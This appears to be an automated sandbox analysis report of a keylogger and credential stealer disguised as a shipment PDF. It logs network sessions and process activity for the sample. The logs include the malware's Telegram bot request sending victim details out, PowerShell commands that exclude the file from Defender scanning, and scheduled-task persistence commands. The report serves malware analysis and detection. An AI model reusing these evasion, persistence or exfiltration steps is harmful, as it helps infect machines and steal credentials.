2024-12-14 12:50:18 UTC	878	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:50:18 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169387 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K8zIYm%2F%2FmtpDsRaKza8JCy832e264sCnjETl7jm0n%2FVCFw0HeySKU5e0O3xHzQfiXkfLRFL6zgvuWHVMfylGXlCEEYEfkgvuMIKUwUefitlnUgtSko96MkFpbYPDIqKAvQ5g%2FCme"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e51a37dec7d18-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1907&min_rtt=1907&rtt_var=717&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1525600&cwnd=220&unsent_bytes=0&cid=bdf4789bc5fb2f9f&ts=463&x=0"
2024-12-14 12:50:18 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49763	172.67.177.134	443	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:50:23 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-14 12:50:24 UTC	884	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:50:23 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169392 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sC59zphAbUpn%2FpV%2BRCxKhci3Ru7LJsQ0lQLPkDhT4sn6utQ4P1zHyPQvpD6%2FNGasWyk12YHuwhwkhWk%2B73m6ve7K%2BjsKqxFEPIFFwwzmKDsS%2BbM0zUTEyOl2m8Y%2FZupblsZ8Ks8w"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e51c38ce47c7b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1809&min_rtt=1808&rtt_var=680&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1606160&cwnd=207&unsent_bytes=0&cid=9cb9b9b429b446ff&ts=542&x=0"
2024-12-14 12:50:24 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49765	172.67.177.134	443	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:50:26 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-14 12:50:27 UTC	884	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:50:27 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169396 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qJ7x%2B0Z4YBwi8kYysNuiycGLtzIAaVF%2Fg2AQLWkOUupJ5uF4%2BWm2t%2FJOd98f9OMOpzc%2BkTnMQgtze1MLJbAK8YJldtBKwdsIGTvYrKad%2BIZVfx4HKcjp%2F0enzO7yBgGAyqOGNYF4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e51d79da80f93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1696&rtt_var=664&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1613259&cwnd=168&unsent_bytes=0&cid=4439313aeaf07be8&ts=453&x=0"
2024-12-14 12:50:27 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49767	172.67.177.134	443	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:50:29 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-14 12:50:30 UTC	875	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:50:30 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169399 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D5SsfqNKpje9Kq0Bpj7Wl%2FECK%2B4H10dgLUQPubYy0yVPcDzbuA1QBg30G9tX7CFWgACgLPxRzraln7DemFSyAzorNIvx8Skb1zg5IoPKebm2Va2Sb9FhIXRsV3dIN1SuEwFKGT4X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e51eafd446a57-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2616&min_rtt=1718&rtt_var=1286&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1699650&cwnd=231&unsent_bytes=0&cid=be564bb6e17989d7&ts=452&x=0"
2024-12-14 12:50:30 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49768	149.154.167.220	443	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:50:31 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20and%20Time:%2016/12/2024%20/%2009:08:51%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20226533%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-12-14 12:50:32 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 14 Dec 2024 12:50:32 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-14 12:50:32 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	07:49:24
Start date:	14/12/2024
Path:	C:\Users\user\Desktop\Shipment 990847575203.pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Shipment 990847575203.pdf.exe"
Imagebase:	0xec0000
File size:	827'392 bytes
MD5 hash:	8626A0C350243B5390ABF5DEE2A40641
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:49:33
Start date:	14/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe"
Imagebase:	0x480000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:49:33
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:49:33
Start date:	14/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FZcXKpA.exe"
Imagebase:	0x480000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:49:33
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:49:33
Start date:	14/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp56D.tmp"
Imagebase:	0xeb0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:49:33
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:49:34
Start date:	14/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x4f0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000009.00000002.3578857774.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	07:49:36
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Roaming\FZcXKpA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\FZcXKpA.exe
Imagebase:	0xdc0000
File size:	827'392 bytes
MD5 hash:	8626A0C350243B5390ABF5DEE2A40641
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:49:37
Start date:	14/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:49:45
Start date:	14/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp3382.tmp"
Imagebase:	0xeb0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:49:45
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:49:45
Start date:	14/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x2a0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:49:46
Start date:	14/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xd40000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000011.00000002.3578489712.0000000003274000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.1%
Total number of Nodes:	292
Total number of Limit Nodes:	34

Executed Functions

Function 07CA11FC Relevance: .7, Instructions: 651COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2439663321.0000000007CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ca0000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e09001e7c7f458902e8506e67f9343c219d5dd0784b23d3f80f1abd1c25846b
Instruction ID: b331b935d9667ffe2d2513d7fb011a5d9aaa597200a745e13b27b563f7858287
Opcode Fuzzy Hash: 3e09001e7c7f458902e8506e67f9343c219d5dd0784b23d3f80f1abd1c25846b
Instruction Fuzzy Hash: 11428DB0E0021ADFDB54DFA9C89479EBBF2BFC8301F14816AD409AB355DB349985CB91

Function 07CA8930 Relevance: .5, Instructions: 511COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2439663321.0000000007CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ca0000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83566703c24718da846a15545a69f97cedf86ff32dd70adf16b70a01c0166d0e
Instruction ID: ed3fdec4ada59526ad22dd9fda520331b2782affbf6ff54cf538472c840a33f4
Opcode Fuzzy Hash: 83566703c24718da846a15545a69f97cedf86ff32dd70adf16b70a01c0166d0e
Instruction Fuzzy Hash: E9226D70A0021ACFCB15DF68D884A9DBBF2FF85315F118599E909AB225DB30EE85CF50

Function 07ED3110 Relevance: .4, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2440343413.0000000007ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ed0000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d9c9a7acf5a9d7330ad9be26fceab2dc8d838e3823b684601dfbd7af06be7d1
Instruction ID: 5272c673d17a4dd4ef5926ce59ae3f78fd2130add9a5442674a0286d4a65f54b
Opcode Fuzzy Hash: 7d9c9a7acf5a9d7330ad9be26fceab2dc8d838e3823b684601dfbd7af06be7d1
Instruction Fuzzy Hash: 02E1ECB0702605DFDB29DB69C490BAEB7F6AF88704F14446DD505CB290DB34ED42CB52

Function 07CA2A97 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2439663321.0000000007CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ca0000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e460165eca424aa2933ae43a8922466e5ee9d3de56fb4c42a8774207f14c0306
Instruction ID: ae6435e86f8819d0b2f62c6d116216e47f298adb63059743486fa7d0c59650fd
Opcode Fuzzy Hash: e460165eca424aa2933ae43a8922466e5ee9d3de56fb4c42a8774207f14c0306
Instruction Fuzzy Hash: 97C14BB1E0025AEFDF14DFA5D884799BBB2BF88305F14C1AAD809AB255DB30D985CF50

Function 07ED1821 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2440343413.0000000007ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ed0000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06856664608320922c3077487511c753a5cc0d0d705c865eeaa6875fd44f0f0b
Instruction ID: 0505778fe9128e2a8ff876be3ff414aaf2f59f47533ec638e7b751d359596e2a
Opcode Fuzzy Hash: 06856664608320922c3077487511c753a5cc0d0d705c865eeaa6875fd44f0f0b
Instruction Fuzzy Hash: 67B115B4D06219CFDB24CF66C8447EDBBB6BB8A300F1091AAD409A7251EB745E86CF50

Function 0185D330 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0185D3BE
GetCurrentThread.KERNEL32 ref: 0185D3FB
GetCurrentProcess.KERNEL32 ref: 0185D438
GetCurrentThreadId.KERNEL32 ref: 0185D491

Memory Dump Source

Source File: 00000000.00000002.2420449332.0000000001850000.00000040.00000800.00020000.00000000.sdmp, Offset: 01850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1850000_Shipment 990847575203.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: c08489687d698e5f7a2f9a6a21054b76b7a1f67aed3b4304f1377d3d795b7dc2
Instruction ID: ee1708362a8cef5482577896514d15c47422e59c05de7496b5e6d678756f021d
Opcode Fuzzy Hash: c08489687d698e5f7a2f9a6a21054b76b7a1f67aed3b4304f1377d3d795b7dc2
Instruction Fuzzy Hash: A95179B090174A8FDB54DFA9D4887DEBFF1EF88314F208459D908A7360D7346984CB65

Function 0185D340 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0185D3BE
GetCurrentThread.KERNEL32 ref: 0185D3FB
GetCurrentProcess.KERNEL32 ref: 0185D438
GetCurrentThreadId.KERNEL32 ref: 0185D491

Memory Dump Source

Source File: 00000000.00000002.2420449332.0000000001850000.00000040.00000800.00020000.00000000.sdmp, Offset: 01850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1850000_Shipment 990847575203.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 3b4f9f2c34ca03f8034308648542cd5a381a9d4d91ebf4bf9c43ffdba5e5675f
Instruction ID: c67cab57d4c21ca7498130bef2425b5197e5c121bab41158332d03e517d51d56
Opcode Fuzzy Hash: 3b4f9f2c34ca03f8034308648542cd5a381a9d4d91ebf4bf9c43ffdba5e5675f
Instruction Fuzzy Hash: 585158B090074A8FDB54DFA9D548BDEBFF1EF88314F208459D908A7260D7346984CB65

Function 07C9EA98 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07C9ECCE

Memory Dump Source

Source File: 00000000.00000002.2439607427.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c90000_Shipment 990847575203.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 3bb63fc121cbbe001dda7a34d8e6f44b29d5cab0c21aa4115f97592ce200c2aa
Instruction ID: f986fb82f8f3506b7c7a57c45e437c9508905491feea4b3605a7dded2e45932d
Opcode Fuzzy Hash: 3bb63fc121cbbe001dda7a34d8e6f44b29d5cab0c21aa4115f97592ce200c2aa
Instruction Fuzzy Hash: 8D917EB2D0021ADFDF60DF68C885BDDBBB2BF58310F1485A9D809A7280D7749A85CF91

